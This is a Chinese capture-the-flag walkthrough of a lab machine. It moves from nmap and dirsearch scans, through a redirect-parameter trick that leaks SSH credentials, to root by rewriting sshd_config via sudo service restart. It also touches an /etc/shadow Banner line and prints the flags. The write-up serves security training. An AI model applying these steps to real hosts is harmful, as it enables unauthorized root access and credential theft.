主机发现
sudo arp-scan -l
本机IP:192.168.179.230
靶机ip:192.168.179.210
信息收集
curl下载靶机web服务的内容,但是下载不了,可能是80端口没有开放
sudo nmap 192.168.179.210
简单扫描一下,发现开放了22和8080端口
信息收集
dirsearch目录爆破
sudo dirsearch -u http://192.168.179.210:8080 -w /usr/share/dirb/wordlists/common.txt
-u 指定靶机ip地址并明确8080端口,因为靶机的默认80端口没有开放,所以要明确指定添加上
-w 指定一个不大不小的字典,来简单扫描一下,因为靶机的整体规模不大,所以咱们也可以不用太大的字典,不然反而会浪费时间。
wc -l /usr/share/dirb/wordlists/common.txt
我们来看一下它的大小
4614行
看一下第一个
url构造参数
需要指定参数url
第二个
只能从内部访问
看到这里,有没有联想到前面的提示,8080端口也许是内部的,所以在这里添加参数
这里我不会,所以参考别人的解法哈,这也是一道CTF的题。
需要用这提供给的两个目录来构造一个参数
/redirect?url=1&url=/credz
拿到了ssh的用户名和密码
ssh/EazyLOL
拿到user的flag
HMVSSWYMCNFIBDAFMTHFK
提权-ssh公钥劫持
发现可以以root权限执行/sbin/service sshd restart
我们去查看一下它的ssh相关文件
发现ssh_config与sshd_config都拥有和读写的权限
ssh-keygen -t rsa
用这条命令会生成一个公钥和私钥,用于认证连接ssh
然后修改一下名字
mv id_rsa.pub attack_keys
还要修改一下里面的内容,把ssh用户改成root用户,不会影响加密的,但是可以混淆。
vi attack_keys
修改sshd_config文件的内容
因为有些参数设置是不被允许的,所以我们要修改它
vi sshd_config
PermitRootLogin yes:允许使用 root 用户通过 SSH 登录系统
StrictModes no:禁用了 SSH 对用户主目录和私钥文件的权限检查
AuthorizedKeysFile /home/ssh/.ssh/attack_keys:指定了用户公钥文件的路径。默认情况下,SSH 会从用户的
.ssh/authorized_keys
文件中读取公钥,但此配置将路径改为/home/ssh/.ssh/attack_keys
修改ssh_config
注释掉Banner这一行
#Banner /etc/shadow
sudo /sbin/service sshd restart
重启服务
ssh root@localhost -i id_rsa
-i 指定私钥连接
最后成功拿到rootflag。
HMV2PRMTERWTFUDNGMBG